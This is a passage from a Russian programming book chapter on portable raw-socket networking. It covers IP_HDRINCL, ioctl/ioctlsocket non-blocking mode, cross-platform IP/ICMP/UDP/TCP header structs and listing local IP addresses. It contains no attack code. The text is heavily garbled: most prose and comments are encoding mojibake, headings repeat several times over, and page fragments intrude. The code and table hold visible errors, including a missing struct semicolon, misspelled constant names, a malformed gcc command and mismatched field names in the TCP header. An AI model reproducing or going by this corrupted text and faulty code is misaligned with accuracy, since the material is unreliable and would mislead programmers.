 6  * setsockopt äëÿ óñòàíîâêè îïöèè IP_HDRINCL.

 7  *

 8  */

 9
10 #ifdef WIN32

11
12 /* íåîáõîäèìî äëÿ Winsock */

13 #pragma comment(lib, "ws2_32.lib")

14
15 #include <winsock2.h>

16 #include <ws2tcpip.h> /* íóæíî äëÿ êîíñòàíòû IP_HDRINCL */

17
18 #else

19
20 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

21 #include <sys/types.h>

22 #include <sys/socket.h>

23 #include <netinet/in.h>

24
25 #endif

26
27 #include <stdio.h>

28
29 int

30 main(void)

31 {

Подлежащие переносу компоненты
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32 #ifdef WIN32

33   WSADATA wsa; /* èñïîëüçóåòñÿ â WSAStartup() */

34   SOCKET  sd  = 0;

35 #else

36   int     sd  = 0;

37 #endif

38
39   int     flg = 1;

40   int     ret = 0;

41
42 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

43 #ifdef WIN32

44   memset(&wsa, 0x0, sizeof(WSADATA));

45
46   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

47   {

48     printf("îøèáêà WSAStartup().\n");

49     return(1);

50   }

51 #endif

52
53   /* ñîçäàòü ïðîñòîé TCP-ñîêåò */

54   sd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

55   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

56 #ifdef WIN32

57   if(sd == INVALID_SOCKET)

58   /* èíà÷å ñðàâíèòü ñ -1 */

59 #else

60   if(sd  < 0)

61 #endif

62   {

63     printf("îøèáêà socket().\n");

64     return(1);

65   }

66
67   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

68
69   ret = setsockopt(sd, IPPROTO_IP, IP_HDRINCL,

70                    (const char *) &flg, sizeof(flg));

71 /* â Win32 ñðàâíèòü ñ êîíñòàíòîé SOCKET_ERROR */

72 #ifdef WIN32

73   if(ret == SOCKET_ERROR)

74   /* èíà÷å ñðàâíèòü ñ -1 */

75 #else

76 if(ret  < 0)

77 #endif

78   {

79     printf("îøèáêà setsockopt().\n");

80     return(1);
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81   }

82
83   printf("óñòàíîâëåíà îïöèÿ ñîêåòà IP_HDRINCL.\n");

84
85   return(0);

86 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 16 ïðè êîìïèëÿöèè íà ïëàòôîðìå Win32 âêëþ÷àåòñÿ ôàéë

ws2tcpi p.h. Îí íåîáõîäèì, åñëè âû õîòèòå  âîñïîëüçîâàòüñÿ ôóíêöèåé
setsockopt().

� Â ñòðîêàõ 69–70 âûçûâàåòñÿ ôóíêöèÿ setsockopt(). Åå ÷åòâåðòûé àðãó-
ìåíò flg ÿâíî ïðèâîäèòñÿ ê òèïó const char * âî èçáåæàíèå ïðåäóïðåæ-
äåíèé êîìïèëÿòîðà ïðè ðàáîòå â ñðåäå Microsoft Visual Studio.NET.

Функции ioctl() и ioctlsocket()
Â UNIX ôóíêöèÿ ioctl() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùåì çàãîëîâî÷íîì ôàéëå:

#include <sys/ioctl.h>

int ioctl(int d, unsigned long request, ...);

Â Windows òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðà òàêîâà:

#include <winsock2.h>

int ioctlsocket(SOCKET s, long cmd, u_long DAR *argp);

Â UNIX ñèñòåìíûé âûçîâ ioctl(), à â Winsock – ôóíêöèÿ ioctlsocket() ïðèìå-
íÿþòñÿ äëÿ èçìåíåíèÿ õàðàêòåðèñòèê äåñêðèïòîðà ñîêåòà.

Íà ïëàòôîðìå UNIX ñèñòåìíîìó âûçîâó ioctl() íóæíî ïî êðàéíåé ìåðå äâà
àðãóìåíòà, òîãäà êàê â Windows ôóíêöèÿ ioctlsocket() ïðèíèìàåò ðîâíî òðè
àðãóìåíòà. Â îáîèõ ñëó÷àÿõ ïåðâûé àðãóìåíò – ýòî äåñêðèïòîð ñîêåòà, à âòî-
ðîé – äëèííîå öåëîå, îïèñûâþùåå âûïîëíÿåìóþ îïåðàöèþ. Â UNIX îñòàâ-
øèåñÿ àðãóìåíòû çàâèñÿò îò îïåðàöèè, à â Windows òðåòüèì àðãóìåíòîì âñå-
ãäà ïåðåäàåòñÿ óêàçàòåëü íà unsigned long.

Ñèñòåìíûé âûçîâ ioctl() è ôóíêöèÿ ioctlsocket() ÷àñòî óïîòðåáëÿþòñÿ, ÷òî-
áû ïåðåâåñòè ñîêåò â íåáëîêèðóþùèé ðåæèì. Â Winsock ioctlsocket() òàêæå èñ-
ïîëüçóåòñÿ, ÷òîáû óñòàíîâèòü ðåæèì SIO_RCVALL äëÿ ïðîñòîãî ñîêåòà.
Â ýòîì ðåæèìå ñîêåòó ïåðåäàþòñÿ âñå ïàêåòû IPv4, ïîñòóïàþùèå â ñèñòåìó.

Â ïðèìåðå 7.16 ôóíêöèè ioctl() è ioctlsocket() ïðèìåíÿþòñÿ äëÿ ïåðåâîäà ñî-
êåòà â íåáëîêèðóþùèé ðåæèì.
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Пример 7.16. Пример 7.16. Пример 7.16. Пример 7.16. Пример 7.16. Функция ioctl() (ioctl1.c)
 1 /*

 2  * ioctl1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèé ioctl()/ioctlsocket().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20
21 /* òðåáóåòñÿ äëÿ ioctl() */

22 #include <sys/ioctl.h>

23
24 #endif

25
26 #include <stdio.h>

27
28 int

29 main(void)

30 {

31 #ifdef WIN32

32   WSADATA       wsa; /* èñïîëüçóåòñÿ â WSAStartup() */

33   SOCKET        sd  = 0;

34   unsigned long val = 1; /* íóæíî äëÿ ioctlsocket() */

35 #else

36   int           sd  = 0;

37   long          val = 1; /* íóæíî äëÿ ioctl() */

38 #endif

39
40   int           ret = 0; /* ioctl/ioctlsocket return val */

41
42 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

43 #ifdef WIN32

44   memset(&wsa, 0x0, sizeof(WSADATA));

45
46   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

47   {
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48     printf("îøèáêà WSAStartup().\n");

49     return(1);

50 }

51 #endif

52
53   /* ñîçäàòü TCP-ñîêåò */

54   sd = socket(AF_INET, SOCK_STREAM, 0);

55   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

56 #ifdef WIN32

57   if(sd == INVALID_SOCKET)

58   /* èíà÷å ñðàâíèòü ñ -1 */

59 #else

60   if(sd  < 0)

61 #endif

62   {

63     printf("îøèáêà socket().\n");

64     return(1);

65 }

66
67   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

68
69 #ifdef WIN32

70   ret = ioctlsocket(sd, FIONBIO, &val);

71   if(ret == SOCKET_ERROR)

72 #else

73   ret = ioctl(sd, FIONBIO, &val);

74   if(ret  < 0)

75 #endif

76   {

77     printf("îøèáêà ioctl FIONBIO.\n");

78     return(1);

79   }

80
81   printf("ioctl FIONBIO óñòàíîâëåíà.\n");

82
83   return(0);

84 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 34 îáúÿâëåíà ïåðåìåííàÿ val òèïà unsigned long. Ýòî ñäåëàíî

âî èçáåæàíèå ïðåäóïðåæäåíèé êîìïèëÿòîðà ïðè ðàáîòå â Microsoft
Visual Studio.NET.

� Â ñòðîêå 37 ïåðåìåííàÿ val òèïà long, íà ñåé ðàç ñî çíàêîì, ïîñêîëüêó
èìåííî àðãóìåíò òàêîãî òèïà îæèäàåò ôóíêöèÿ ioctl() â UNIX.

� Â ñòðîêå 70 âûçûâàåòñÿ ioctlsocket() – Win32-âàðèàíò ôóíêöèè ioctl().
Åäèíñòâåííîå åå îòëè÷èå îò ioctl() – ýòî òèï òðåòüåãî àðãóìåíòà:
unsigned long * âìåñòî long *.
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� Â ñòðîêå 73 âûçûâàåòñÿ ôóíêöèÿ ioctl(), åñëè ïðîãðàììà êîìïèëèðóåòñÿ
íå íà ïëàòôîðìå Win32.

Простые сокеты

Ïðîñòûå ñîêåòû – ýòî îñîáûé òèï ñîêåòîâ, èñïîëüçóåìûé äëÿ îòïðàâêè è ïî-
ëó÷åíèÿ ñåòåâîãî òðàôèêà íà ñåòåâîì è òðàíñïîðòíîì óðîâíå ñòåêà ïðîòîêî-
ëîâ TCP/IP, â òîì ÷èñëå íåñòàíäàðòíûõ ïàêåòîâ ïî ïðîòîêîëàì IP, ICMP
(Internet Control Message Protocol – ïðîòîêîë óïðàâëÿþùèõ ñîîáùåíèé â ñåòè
Internet), TCP è UDP.

Â ýòîì ðàçäåëå ìû ïîãîâîðèì î êðîññ-ïëàòôîðìåííîì ïðîãðàììèðîâà-
íèè ïðîñòûõ ñîêåòîâ ñ èñïîëüçîâàíèåì ñïåöèôèêàöèé BSD è Winsock. Ìû
ðàññêàæåì îá API, ïðèìåíÿåìûõ äëÿ ýòîé öåëè, î íàèáîëåå ðàñïðîñòðàíåí-
íûõ çàãîëîâî÷íûõ ôàéëàõ è î ìåòîäàõ îïðåäåëåíèÿ ëîêàëüíîãî IP-àäðåñà
ïðè êîíñòðóèðîâàíèè IPv4-äàòàãðàìì.

Îòìåòèì, ÷òî â îïåðàöèîííûõ ñèñòåìàõ Microsoft Windows 95 è Windows
NT 4.0 íå îáåñïå÷èâàåòñÿ ïîëíàÿ ïîääåðæêà ïðîñòûõ ñîêåòîâ, îíà ïîÿâèëàñü
òîëüêî â ñèñòåìàõ Microsoft Windows 2000, XP è 2003. Âñÿ èíôîðìàöèÿ è ïðè-
ìåðû, ïðèâåäåííûå â äàííîé ãëàâå äëÿ ïëàòôîðìû Win32, îòíîñÿòñÿ òîëüêî
ê ýòèì ñèñòåìàì.

Обзор API

È BSD-ñîêåòû, è Winsock ïîääåðæèâàþò ïðîñòûå ñîêåòû. Äëÿ èõ ïðîãðàììè-
ðîâàíèÿ ïðèãîäíû òå æå ôóíêöèè, ÷òî è äëÿ ïðîãðàììèðîâàíèÿ îáû÷íûõ
ñîêåòîâ. Âîçíèêàþùèå ïðè ýòîì ïðîáëåìû ïåðåíîñèìîñòè ðàññìàòðèâàëèñü
â ðàçäåëå «BSD-ñîêåòû è Winsock».

Îòëè÷èå â òåõíèêå ïðîãðàììèðîâàíèÿ îáû÷íûõ è ïðîñòûõ ñîêåòîâ ñî-
ñòîèò â òîì, ÷òî â ïîñëåäíåì ñëó÷àå ïðèõîäèòñÿ ðàáîòàòü íåïîñðåäñòâåííî
ñ çàãîëîâêàìè ïðîòîêîëîâ íèæíèõ óðîâíåé äëÿ ñîçäàíèÿ îòïðàâëÿåìîãî è
ðàçáîðà ïîëó÷åííîãî ïàêåòà. Â áîëüøèíñòâå UNIX-ñèñòåì èìåþòñÿ çàãîëî-
âî÷íûå ôàéëû, â êîòîðûõ îïðåäåëåíû ñòðóêòóðû çàãîëîâêîâ íàèáîëåå ïîïó-
ëÿðíûõ ïðîòîêîëîâ òàêèõ, êàê IPv4, ICMP, UDP è TCP. Â Winsock çàãîëîâêè
íå îïðåäåëåíû íè â êàêèõ çàãîëîâî÷íûõ ôàéëàõ, òàê ÷òî ïðîãðàììèñòó ïðè-
õîäèòñÿ îïèñûâàòü èõ ñàìîñòîÿòåëüíî.

Êðîìå òîãî, ïðè êîíñòðóèðîâàíèè çàãîëîâêîâ ïðîòîêîëîâ IPv4, UDP è TCP
íåîáõîäèìî çíàòü ëîêàëüíûé IP-àäðåñ, ñ êîòîðîãî îòïðàâëÿåòñÿ äàòàãðàììà,
÷òîáû âïèñàòü åãî â ñîîòâåòñòâóþùåå ïîëå, à òàêæå äëÿ âû÷èñëåíèÿ êîíò-
ðîëüíîé ñóììû â çàãîëîâêå TCP èëè UDP. Óâû, íå ñóùåñòâóåò åäèíîãî ñòàí-
äàðòà ïîëó÷åíèÿ ëîêàëüíîãî àäðåñà.

Â ñëåäóþùèõ äâóõ ðàçäåëàõ ìû ïîäðîáíî îïèøåì ìåòîäû êîíñòðóèðîâà-
íèÿ çàãîëîâêîâ è ïîëó÷åíèÿ ëîêàëüíîãî IP-àäðåñà íà ðàçíûõ ïëàòôîðìàõ.
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Заголовочные файлы

Ìíîãèå ôóíêöèè è êîíñòàíòû, èñïîëüçóåìûå ïðè ïðîãðàììèðîâàíèè ïðî-
ñòûõ ñîêåòîâ, îïðåäåëåíû â ðàçëè÷íûõ çàãîëîâî÷íûõ ôàéëàõ UNIX è
Windows. Â òàáëèöå 7.1 ïåðå÷èñëåíû ÷àñòî ïðèìåíÿåìûå ôóíêöèè è êîí-
ñòàíòû ñ óêàçàíèåì ôàéëîâ, â êîòîðûõ îíè îïðåäåëåíû íà ïëàòôîðìàõ
OpenBSD è Microsoft Windows.

Таблица 7.1. Заголовочные файлы, в которых определены функции и
константы, относящиеся к сокетам

Имя Тип Файл в UNIX Файл в Windows

socket Функция sys/socket.h winsock2.h
setsockopt Функция sys/socket.h winsock2.h
ioctl Функция sys/ioctl.h для сокетов нет
ioctlsocket Функция нет winsock2.h
send, sendto Функция sys/socket.h winsock2.h
recv, recvfrom Функция sys/socket.h winsock2.h
close Функция unistd.h для сокетов нет
closesocket Функция нет winsock2.h
IPPROTO_IP Константа netinet/in.h winsock2.h
IPPROTO_ICMP Константа netinet/in.h winsock2.h
IPPROTO_UDP Константа netinet/in.h winsock2.h
IPPROTO_TCP Константа netinet/in.h winsock2.h
FINBIO Константа sys/ioctl.h winsock2.h
IPHDRINCL_IP Константа netinet/in.h ws2tcpip.h
SIO_RCVCALL Константа нет mstcpip.h

Ïîìèìî èñïîëüçîâàíèÿ áèáèëèîòå÷íûõ ôóíêöèé è êîíñòàíò, ïðè ïðî-
ãðàììèðîâàíèè ïðîñòûõ ñîêåòîâ ÷àñòî ïðèõîäèòñÿ ñòðîèòü çàãîëîâêè ïðî-
òîêîëîâ è ïîëåçíóþ íàãðóçêó. ×àùå âñåãî âñòðå÷àþòñÿ çàãîëîâêè ïðîòîêîëîâ
IPv4, ICMP, UDP è TCP. Íà UNIX-ïëàòôîðìàõ ñîîòâåòñòâóþùèå ñòðóêòóðû
äàííûõ îáû÷íî  îïðåäåëåíû â çàãîëîâî÷íûõ ôàéëàõ i p.h, icmp.h, upd.h è tcp.h,
íàõîäÿùèõñÿ â êàòàëîãå /usr/include/netinet/. Â çàãîëîâî÷íûõ ôàéëàõ Windows
îïðåäåëåíèÿ ýòèõ ñòðóêòóð îòñóòñòâóþò, òàê ÷òî ïðèõîäèòñÿ îïèñûâàòü èõ
ñàìîñòîÿòåëüíî. Íî èõ òàêæå ìîæíî ïðîñòî ïåðåíåñòè èç UNIX ñ ìèíè-
ìàëüíûìè ìîäèôèêàöèÿìè.

Ïðèâåäåííûìè íèæå çàãîëîâî÷íûìè ôàéëàìè ìîæíî ïîëüçîâàòüñÿ äëÿ
êîíñòðóèðîâàíèÿ çàãîëîâêîâ ïðîòîêîëîâ IPv4, UDP è TCP êàê â UNIX, òàê
è â Windows.

Çàãîëîâîê IPv4Çàãîëîâîê IPv4Çàãîëîâîê IPv4Çàãîëîâîê IPv4Çàãîëîâîê IPv4
/*
 * ip.h
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 *
 * êðîññ-ïëàòôîðìåííûé çàãîëîâîê ïðîòîêîëà IPv4
 */

#ifndef __IP_H__
#define __IP_H__

#ifdef WIN32

#include <windows.h>

#ifndef LITTLE_ENDIAN
#define LITTLE_ENDIAN 1234
#endif

#ifndef BIG_ENDIAN
#define BIG_ENDIAN 4321
#endif

#ifndef BYTE_ORDER

// íà ïëàòôîðìàõ Intel x86 è Aplha ïîðÿäîê little endian
#if defined(_M_IX86) || defined(_M_ALPHA)
#define BYTE_ORDER LITTLE_ENDIAN
#endif

// íà ïëàòôîðìàõ Power PC è MIPS RX000 ïîðÿäîê big endian
#if defined(_M_PPC) || defined(_M_MX000)
#define BYTE_ORDER BIG_ENDIAN
#endif

#endif

#endif

#else

// âêëþ÷èòü êîíñòàíòû, îïðåäåëÿþùèå ïîðÿäîê áàéòîâ
#include <sys/types.h>

#endif

/*
 * Äëÿ WIN32 îïðåäåëÿåì çàãîëîâîê IPv4, ïðåäïîëàãàÿ,
 * ÷òî ïîðÿäîê áàéòîâ little endian
 */
struct ip
{
#if BYTE_ORDER == LITTLE_ENDIAN

unsigned char ip_hl:4, /* äëèíà çàãîëîâêà */
ip_v:4;/* íîìåð âåðñèè */

/* ïîðÿäîê BIG_ENDIAN */
#else

unsigned char ip_v:4,/* íîìåð âåðñèè */
ip_hl:4; /* äëèíà çàãîëîâêà */
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#endif
unsigned char ip_tos;/* òèï ñåðâèñà */
short ip_len;/* ïîëíàÿ äëèíà */
unsigned short ip_id; /* èäåíòèôèêàòîð */
short ip_off;/* ñìåùåíèå ôðàãìåíòà */
unsigned char ip_ttl;/* âðåìÿ æèçíè */
unsigned char ip_p; /* ïðîòîêîë */
struct in_addr ip_src;/* àäðåñ îòïðàâèòåëÿ */
struct in_addr ip_dest; /* àäðåñ ïîëó÷àòåëÿ */

}

#endif /* __IP_H__ */

Çàãîëîâîê ICMPÇàãîëîâîê ICMPÇàãîëîâîê ICMPÇàãîëîâîê ICMPÇàãîëîâîê ICMP
/*
 * icmp.h
 *
 *
 */

#ifndef __ICMP_H__
#define __ICMP_H__

#define ICMP_ECHO_REPLY 0x00
#define ICMP_ECHO_REQUEST 0x08

struct icmp
{

unsigned char icmp_type; /* òèï ñîîáùåíèÿ, ñì. íèæå */
unsigned char icmp_code; /* êîä ïîäòèïà */
unsigned short icmp_cksum; /* êîíòðîëüíàÿ ñóììà */

union
{

struct ih_id_seq
{
    unsigned short   icd_id;
    unsigned short   icd_seq;
}
ih_idseq;

}
icmp_hun;

#define icmp_id  icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq

};

#endif /* __ICMP_H__ */

Çàãîëîâîê UDPÇàãîëîâîê UDPÇàãîëîâîê UDPÇàãîëîâîê UDPÇàãîëîâîê UDP
/*
 * udp.h
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 *
 * êðîññ-ïëàòôîðìåííûé çàãîëîâîê ïðîòîêîëà UDP
 */

#ifndef __UDP_H__
#define __UDP_H__

struct udphdr
{

unsigned short uh_sport; /* ïîðò îòïðàâèòåëÿ */
unsigned short uh_dport; /* ïîðò ïîëó÷àòåëÿ */
short uh_ulen; /* äëèíà äàòàãðàììû */
unsigned short uh_sum; /* êîíòðîëüíàÿ ñóììà */

};

#endif /* __UDP_H__ */

Çàãîëîâîê TCPÇàãîëîâîê TCPÇàãîëîâîê TCPÇàãîëîâîê TCPÇàãîëîâîê TCP
/*
 * tcp.h
 *
 * êðîññ-ïëàòôîðìåííûé çàãîëîâîê ïðîòîêîëà TCP
 */

#ifndef __TCP_H__
#define __TCP_H__

#ifdef WIN32

#include <windows.h>

#ifndef LITTLE_ENDIAN
#define LITTLE_ENDIAN 1234
#endif

#ifndef BIG_ENDIAN
#define BIG_ENDIAN 4321
#endif

#ifndef BYTE_ORDER

// íà ïëàòôîðìàõ Intel x86 è Aplha ïîðÿäîê little endian
#if defined(_M_IX86) || defined(_M_ALPHA)
#define BYTE_ORDER LITTLE_ENDIAN
#endif

// íà ïëàòôîðìàõ Power PC è MIPS RX000 ïîðÿäîê big endian
#if defined(_M_PPC) || defined(_M_MX000)
#define BYTE_ORDER BIG_ENDIAN
#endif

#endif

#endif
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#else

// âêëþ÷èòü êîíñòàíòû, îïðåäåëÿþùèå ïîðÿäîê áàéòîâ
#include <sys/types.h>

#endif

/*
* Çàãîëîâîê ïðîòîêîëà TCP
*/
struct tcphdr
{

unsigned short th_sport; /* ïîðò îòïðàâèòåëÿ */
unsigned short th_dport; /* ïîðò ïîëó÷àòåëÿ */
unsigned int th_seq; /* ïîðÿäêîâûé íîìåð */
unsigned int th_ack; /* íîìåð êâèòàíöèè */

#if BYTE_ORDER == LITTLE_ENDIAN
unsigned char th_x2:4, /* íå èñïîëüçóåòñÿ */

th_off:4; /* ñìåùåíèå äàííûõ */
/* ïîðÿäîê BIG_ENDIAN */
#else

unsigned char ip_off:4, /* ñìåùåíèå äàííûõ */
ip_x2:4; /* íå èñïîëüçóåòñÿ */

#endif
unsigned char th_flags; /* ôëàãè TCP */
unsigned short th_win; /* îêíî */
unsigned short th_sum; /* êîíòðîëüíàÿ ñóììà */
unsigned short th_urp; /* óêàçàòåëü íà ñðî÷íûå äàííûå */

};

#endif /* __TCP_H__ */

Определение локального IP3адреса

Ïðè êîíñòðóèðîâàíèè çàãîëîâêà ïàêåòà, ïîñûëàåìîãî ÷åðåç ïðîñòîé ñîêåò,
÷àñòî áûâàåò íåîáõîäèìî ïîëó÷èòü ëîêàëüíûé IPv4-àäðåñ îòïðàâèòåëÿ. Åãî
ñëåäóåò ïîìåñòèòü â ïîëå çàãîëîâêà IPv4-äàòàãðàììû, îí ó÷èòûâàåòñÿ ïðè
âû÷èñëåíèè êîíòðîëüíûõ ñóìì TCP è UDP-ïàêåòîâ, à â íåêîòîðûõ ñëó÷àÿõ îí
íóæåí è ïðè àíàëèçå ïîëó÷àåìîãî òðàôèêà.

Ëîêàëüíûé IP-àäðåñ ìîæíî ïîëó÷èòü íåñêîëüêèìè ñïîñîáàìè. Îäèí èç âà-
ðèàíòîâ – ñïðîñèòü ó ïîëüçîâàòåëÿ, äðóãîé – ïîëó÷èòü ñïèñîê âñåõ IP-àäðåñîâ
êîìïüþòåðà è âûáðàòü êàêîé-òî èç íèõ.

Запрос у пользователя

Â íåñëîæíûõ äèàãíîñòè÷åñêèõ óòèëèòàõ è èíñòðóìåíòàõ îáåñïå÷åíèÿ áåçî-
ïàñíîñòè, ñîçäàâàåìûõ äëÿ óçêîãî êðóãà ïîëüçîâàòåëåé, IP-àäðåñ îòïðàâèòåëÿ,
âñòàâëÿåìûé â êîíñòðóèðóåìûå ïàêåòû, îáû÷íî çàäàåòñÿ â êîìàíäíîé ñòðî-
êå. Ýòîò ïîäõîä ïîëåçåí õîòÿ áû â ñèëó ïðîñòîòû ðåàëèçàöèè è ïîëíîé ïåðå-

Подлежащие переносу компоненты



384 Глава 7. Написание переносимых сетевых программ

íîñèìîñòè. Íî ïîëüçîâàòåëþ, êîíå÷íî, íåóäîáíî óêàçûâàòü IP-àäðåñ ïðè
êàæäîì çàïóñêå ïðîãðàììû.

Ýòî ðåøåíèå íå âûçûâàåò íèêàêèõ ïðîáëåì ñ ïåðåíîñèìîñòüþ. Äëÿ ïðåîá-
ðàçîâàíèÿ çàäàííîãî â êîìàíäíîé ñòðîêå IP-àäðåñà â áåççíàêîâîå öåëîå ïðè-
ìåíÿåòñÿ ñòàíäàðòíàÿ ôóíêöèÿ inet_addr(). Ïëàòôîðìåííî-çàâèñèìûå ñðåä-
ñòâà ïðè ýòîì íå èñïîëüçóþòñÿ.

Перечисление интерфейсов

Èíîãäà áûâàåò íåîáõîäèìî ïîëó÷èòü âåñü ñïèñîê ëîêàëüíûõ IP-àäðåñîâ äàí-
íîãî êîìïüþòåðà. Çàòåì åãî ìîæíî ïðåäúÿâèòü ïîëüçîâàòåëþ, ÷òîáû îí ìîã
âûáðàòü êàêîé-òî àäðåñ, èëè ïðîèçâåñòè âûáîð àâòîìàòè÷åñêè.

Íî ìåõàíèçìû ïåðå÷èñëåíèÿ ëîêàëüíûõ IP-àäðåñîâ çàâèñÿò îò ïëàòôîð-
ìû. Â UNIX äëÿ ïîëó÷åíèÿ ñïèñêà ñåòåâûõ èíòåðôåéñîâ è àññîöèèðîâàííûõ
ñ íèìè àäðåñîâ îáû÷íî èñïîëüçóåòñÿ ñèñòåìíûé âûçîâ ioctl, à â Windows –
ôóíêöèÿ WSAIoctl. Íà ïëàòôîðìàõ BSD UNIX äëÿ ïåðå÷èñëåíèÿ ëîêàëüíûõ
IP-àäðåñîâ èìååòñÿ òàêæå ôóíêöèÿ getifaddrs. Òàêèì îáðàçîì, äëÿ íàïèñàíèÿ ïå-
ðåíîñèìîé ïðîãðàììû ïðèäåòñÿ ïðèìåíèòü óñëîâíóþ êîìïèëÿöèþ ñ ïîìîùüþ
äèðåêòèâ ïðåïðîöåññîðà #ifdef, ÷òî è ïðîäåìîíñòðèðîâàíî â ïðèìåðå 7.17.

Пример 7.17.Пример 7.17.Пример 7.17.Пример 7.17.Пример 7.17. Просмотр списка локальных IP*адресов (lookup1.c)
 1 /*
 2  * lookup1.c
 3  *
 4  *
 5  */
 6
 7 #ifdef WIN32
 8
 9 #pragma comment(lib, "ws2_32.lib")
10
11 #include <winsock2.h>
12
13 #else
14
15 #include <sys/types.h>
16 #include <netinet/in.h>
17 #include <sys/socket.h>
18 #include <sys/ioctl.h>
19 #include <arpa/inet.h>
20 #include <net/if.h>
21
22 #endif
23
24 #include <stdio.h>
25
26 /*
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27  * lookup_addr_at_idx()

28  *

29  *

30  */

31
32 #define BUF_SIZE  4096

33
34 int lookup_addr_at_idx(int idx,

35                        unsigned int *addr)

36 {

37 #ifdef WIN32

38
39   LPSOCKET_ADDRESS_LIST list   = NULL;

40   SOCKET                sd     = 0;

41   char                  buf[BUF_SIZE];

42   int                   len    = 0;

43   int                   ret    = 0;

44   int                   x      = 0;

45
46   sd = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

47   if(sd == INVALID_SOCKET)

48   {

49     return (-1);

50   }

51
52   ret = WSAIoctl(sd,

53                  SIO_ADDRESS_LIST_QUERY,

54                  NULL,

55                  0,

56                  buf,

57                  BUF_SIZE,

58                  (unsigned long *) &len,

59                  NULL,

60                  NULL);

61
62   closesocket(sd);

63
64   if(ret != 0 ||

65      len <= 0)

66   {

67     return(-1);

68   }

69
70   list = (LPSOCKET_ADDRESS_LIST) buf;

71   if(list->iAddressCount <= 0)

72   {

73     return(-1);

74   }

75
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 76   for(x=0; x <= idx && x < list->iAddressCount; ++x)

 77   {

 78     if(x == idx)

 79     {

 80       /* àäðåñ íàéäåí */

 81       memcpy(addr,

 82              &list->Address[x].lpSockaddr->sa_data[2], 4);

 83       return(1);

 84     }

 85   }

 86
 87   /* áîëüøå àäðåñîâ íå îñòàëîñü */

 88   return(0);

 89
 90 #else

 91
 92   struct ifconf  ifc;

 93   struct ifreq  *ifr = NULL;

 94   char           buf[BUF_SIZE];

 95   int            ret = 0;

 96   int            off = 0;

 97   int            cnt = 0;

 98   int            cdx = 0;

 99   int            sd  = 0;

100
101   sd  = socket(AF_INET, SOCK_DGRAM, 0);

102   if(sd < 0)

103   {

104     return(-1);

105   }

106
107   ifc.ifc_len = BUF_SIZE;

108   ifc.ifc_buf = buf;

109
110   ret = ioctl(sd, SIOCGIFCONF, &ifc);

111   if(ret < 0)

112   {

113     return(-1);

114   }

115
116   ifr = ifc.ifc_req;

117
118   while(cnt < ifc.ifc_len && cdx <= idx)

119   {

120     if(ifr->ifr_addr.sa_family == AF_INET)

121     {

122       if(cdx == idx)

123       {

124         memcpy(addr,
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125                &ifr->ifr_addr.sa_data[2], 4);

126         return(1);

127       }

128
129       ++cdx;

130     }

131
132     off             = IFNAMSIZ + ifr->ifr_addr.sa_len;

133     cnt            += off;

134     ((char *) ifr) += off;

135   }

136
137   close (sd);

138
139 #endif

140
141   return(0);

142 }

143
144 int

145 main(void)

146 {

147 #ifdef WIN32

148   WSADATA wsa;

149 #endif

150
151   struct in_addr ia;

152   unsigned int   addr = 0;

153   int            ret  = 0;

154   int            idx  = 0;

155
156 #ifdef WIN32

157   memset(&wsa, 0x0, sizeof(WSADATA));

158
159   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

160   {

161     printf("îøèáêà WSAStartup().\n");

162     return(1);

163   }

164 #endif

165
166   while(1)

167   {

168     ret = lookup_addr_at_idx(idx, &addr);

169     if(ret < 0)

170     {

171       printf("îøèáêà lookup_addr_at_idx().\n");

172       return(1);

173     }
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174     else if(ret == 0)

175     {

176       /* áîëüøå àäðåñîâ íå îñòàëîñü */

177       break;

178     }

179
180     ia.s_addr = addr;

181     printf("àäðåñ %d: %s\n", idx, inet_ntoa(ia));

182
183     ++idx;

184   }

185
186   printf("êîíåö ñïèñêà àäðåñîâ.\níàéäåíî %d.\n", idx);

187
187   return(0);

188 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Ïîñìîòðèì, ÷òî ïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà íà ðàçíûõ
ïëàòôîðìàõ.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>lookup1.exe
àäðåñ 0: 192.168.10.1
àäðåñ 1: 192.168.204.1
êîíåö ñïèñêà àäðåñîâ.
íàéäåíî 2.

Ïðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSD
obsd32# gcc -c lookup1 lookup1.c
obsd32# ./lookup1
àäðåñ 0: 127.0.0.1
àäðåñ 1: 10.0.8.70
